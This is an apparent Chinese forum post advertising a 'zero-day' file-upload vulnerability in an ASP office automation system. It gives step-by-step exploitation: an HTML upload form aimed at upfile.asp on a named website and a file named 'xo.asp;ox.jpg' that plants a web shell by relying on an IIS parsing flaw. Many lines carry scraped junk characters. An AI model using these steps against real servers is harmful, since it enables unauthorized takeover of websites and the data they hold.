全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
7 y# H) _8 Y& X) k
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
; O. G7 O- v* |
. M2 b+ K! ?* w4 u& G4 g主要功能：
公司通告
9 o9 n, v6 {: B! ^, I/ u" V, u, W工作计划
通讯助理
客户资源
$ e' [, [  Y0 G7 [% j7 m我的公文
公文传阅
公共资源
6 b/ l8 A/ ^/ `: t6 T, c资源预约
今日考勤
: B, ?! X  w! i9 Y# D个人计划
7 }( X$ e9 N) L个人通讯录
个人基本档案
" f! f9 }0 A5 I* Y  ?5 [未读邮件
0 Z- x' A5 L, j5 E发邮件
收件夹
6 v5 E" H! k$ c# v寄件夹
网络硬盘
+ e) |% C4 I6 c网络会议
) g" X9 @2 _; I% r8 ^) q1 b. I网络调查
( b( v4 N! Y2 q) f/ D# D& a交流论坛
4 u6 E5 Z/ p: X2 y3 N( Q
有兴趣测试的朋友可以下源码看看
3 a+ U1 e7 T2 }
4 U( _0 [, u5 e! }8 O源码下载：

9 x; v0 |9 b- S) G* H& s4 J3 L0 k7 thttp://www.mycodes.net/30/4750.htm
7 J, E, Z: z' l9 @  G
& [% J4 c8 y! k$ ]+ h7 L漏洞介绍：

" v# H$ m1 e, M2 v& f- }由upfile.asp上传文件漏洞引起

测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可

" p; A& D2 a) a& a8 k8 S如果upfile.asp文件被删除不存在。

, z% i2 `+ v1 n  p2 V  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
4 {2 p2 m4 m1 y2 i  F! n
如果存在那么将如下代码保存为upfile.html。
3 |& w  R2 w- G: F
, m0 F) t$ ~+ M# x1 }然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
1 j: u, p; {# K# e* j: Q


01 <table border='0' align="center" cellpadding="5">
5 w" q0 G/ j* N9 L2 }. o, ?- C
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

. j! [. X% i- k04             <td>报错：</td>
+ v% F7 \( p8 G! G! R# x
6 x' I0 v' _' A7 y) W) z05             <td><input type='radio' name='errnumber' value='0'>
* n: {1 }( j7 G9 x
4 Y* r$ I; ]$ U& N( U3 o1 d# z$ K! H4 V06               自动更名
6 n% {7 H8 `  M. M3 O5 `3 y
07               <input type='radio' name='errnumber' value='1' checked>

3 V+ m7 g: [5 i' \6 ?08               报错方式

! S# B* U+ n$ Y% e0 w0 x9 _8 P9 M09               <input type='radio' name='errnumber' value='2'>
& _9 f) c- q: m% ?
  q* a& D$ @- K10               直接覆盖</td>
& y/ o* \  {* G) H' A! v5 F
2 o- Z" R) E% e3 C1 V; i11           </tr>
5 Q" b9 N% m' y% @3 P
12           <tr>
$ ~3 t9 O% p  z+ Q: `$ e
13             <td>主题：</td>
. b; ?! Z' \2 N( h# A8 H& y5 w
14             <td><input type='text' name='filename' size='30'></td>
9 x/ a0 N# c* l$ `6 I
15           </tr>

1 T" g7 Z+ F7 c4 e3 ?+ A16           <tr>
: O% ^3 U" u% c7 Q
17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
& D3 u5 O2 G1 f3 M( c
20           <tr>
9 Z6 w4 X& l( s% _! {. u
! _- l; u& e9 l" n- D7 i$ E21             <td valign='top'>简介：</td>

! H* o0 r5 t! Q5 l6 N3 ^22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
# G. s+ A8 h8 ~8 U$ {
23           </tr>

24   
, b1 d1 K& v' r
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

( O. T- g* H  t0 m2 O26           </tr>
  v3 o& Y; G3 U6 x6 ~$ ~! E
7 [& ?' e7 J: ?7 Y27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。


7 s8 l7 u' N. W
, \3 z3 L  M; s. V. \- |8 m: a8 W' N& ]上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

( }6 b1 K5 Q: B2 @此漏洞需要配合解析漏洞利用。
5 ?8 E% ^! {+ d